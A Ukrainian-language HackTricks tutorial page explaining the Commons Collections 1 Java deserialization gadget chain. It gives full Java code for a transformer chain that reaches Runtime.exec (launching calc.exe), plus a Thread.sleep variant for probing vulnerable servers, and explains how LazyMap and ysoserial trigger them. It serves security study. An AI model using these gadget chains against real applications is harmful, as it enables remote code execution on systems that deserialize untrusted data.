CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Java Transformers to Rutime exec()

В кількох місцях ви можете знайти java deserialization payload, який використовує transformers з Apache common collections, як-от наступний:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Якщо ви нічого не знаєте про java deserialization payloads, може бути важко зрозуміти, чому цей код виконає calc.

По-перше, вам потрібно знати, що Transformer в Java - це те, що отримує клас і перетворює його на інший.
Також цікаво знати, що payload, що виконується тут, є еквівалентом до:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

Або точніше, що буде виконано в кінці:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Як

Отже, як перший payload, представлений, еквівалентний цим "простим" однолінійникам?

По-перше, ви можете помітити в payload, що створюється ланцюг (масив) трансформацій:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Якщо ви прочитаєте код, ви помітите, що якщо ви якимось чином з'єднаєте трансформацію масиву, ви зможете виконувати довільні команди.

Отже, як ці трансформації з'єднуються?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

В останній секції payload ви можете побачити, що створюється об'єкт Map. Потім виконується функція decorate з LazyMap з об'єктом map та з'єднаними трансформерами. З наступного коду ви можете побачити, що це призведе до того, що з'єднані трансформери будуть скопійовані всередину атрибута lazyMap.factory:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

А потім виконується велике фінале: lazyMap.get("anything");

Це код функції get:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

А ось код функції transform

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Отже, пам'ятайте, що всередині factory ми зберегли chainedTransformer, а всередині функції transform ми проходимо через всі ці трансформери, що з'єднані та виконуємо один за одним. Смішно те, що кожен трансформер використовує object як вхідні дані, а об'єкт є виходом з останнього виконаного трансформера. Отже, всі трансформації виконуються в ланцюжку, виконуючи шкідливий payload.

Резюме

В кінці, через те, як lazyMap управляє з'єднаними трансформерами всередині методу get, це як якби ми виконували наступний код:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Зверніть увагу, що value є вхідним значенням кожного перетворення та вихідним значенням попереднього перетворення, що дозволяє виконати однорядковий код:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Зверніть увагу, що тут було пояснено гаджети, використані для ComonsCollections1 payload. Але залишено як все це починає виконуватись. Ви можете побачити тут, що ysoserial, для виконання цього payload, використовує об'єкт AnnotationInvocationHandler, оскільки коли цей об'єкт десеріалізується, він викликає функцію payload.get(), яка виконає весь payload.

Java Thread Sleep

Цей payload може бути корисним для визначення, чи вразливий веб, оскільки він виконає затримку, якщо так.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Більше гаджетів

Ви можете знайти більше гаджетів тут: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks